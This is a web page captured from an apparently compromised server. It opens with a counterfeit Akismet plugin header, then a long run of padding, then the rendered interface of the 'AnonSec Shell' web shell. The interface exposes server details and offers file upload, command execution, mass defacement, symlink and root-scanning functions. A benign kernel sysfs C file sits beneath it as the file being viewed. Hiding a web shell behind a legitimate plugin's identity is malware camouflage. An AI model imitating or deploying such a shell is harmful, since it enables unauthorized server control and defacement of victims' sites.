#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/src/snapapi26-1.0.9/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/src/snapapi26-1.0.9/snumbd_sysfs.c
/* snumbd_sysfs.c
   Copyright (c) CyberProtect
*/

#include "snconfig.h"
#include "snumbd.h"


extern int snap_log_level_mask;


#define sn_kattr_to_snum_attr(__kattr) \
	container_of(__kattr, struct snum_attribute, attr)

struct snum_attribute {
	struct attribute attr;
	ssize_t (*show) (struct snum_attribute *snum_attr, char *buf);
	ssize_t (*store) (struct snum_attribute *snum_attr, const char *buf, size_t count);
};

static ssize_t sn_show(struct kobject *kobj, struct attribute *attr, char *buf)
{
	struct snum_attribute *snum_attr = sn_kattr_to_snum_attr(attr);
	return snum_attr->show(snum_attr, buf);
}

static ssize_t sn_store(struct kobject *kobj, struct attribute *attr, const char *buf, size_t count)
{
	struct snum_attribute *snum_attr = sn_kattr_to_snum_attr(attr);
	return snum_attr->store(snum_attr, buf, count);
}

static ssize_t sn_log_level_mask_show(struct snum_attribute *snum_attr, char *buf)
{
	return snprintf(buf, PAGE_SIZE, "0x%x\n", snap_log_level_mask);
}

static ssize_t sn_log_level_mask_store(struct snum_attribute *snum_attr, const char *buf, size_t count)
{
	int debug_mode = -1;
	if (kstrtoint(buf, 0, &debug_mode) < 0)
		return -EINVAL;

	if (debug_mode < 0)
		return -EINVAL;
	snap_log_level_mask = debug_mode;
	return count;
}

static struct snum_attribute snap_log_level_mask_attr =
	__ATTR(log_level, 0644, sn_log_level_mask_show, sn_log_level_mask_store);

static struct attribute *snum_attrs[] = {
    &snap_log_level_mask_attr.attr,
	NULL
};

static const struct attribute_group snum_attr_group = {
	.attrs = snum_attrs,
};

static struct kobject snum_kobj;

static struct sysfs_ops snum_sysfs_ops = {
	.show = sn_show,
	.store = sn_store
};

static struct kobj_type snum_ktype = {
	.sysfs_ops = &snum_sysfs_ops,
	.release = NULL,
};

int sn_sysfs_create(void)
{
	int ret;

	do {
		kobject_init(&snum_kobj, &snum_ktype);
		ret = kobject_add(&snum_kobj, fs_kobj, "%s", SNUMBDCTL_NAME);
		if (ret)
			break;

		ret = sysfs_create_group(&snum_kobj, &snum_attr_group);
		if (ret)
			break;

		return 0;
	} while (0);

	kobject_del(&snum_kobj);

	return ret;
}

void sn_sysfs_remove(void)
{
	kobject_del(&snum_kobj);
}

Anon7 - 2022
AnonSec Team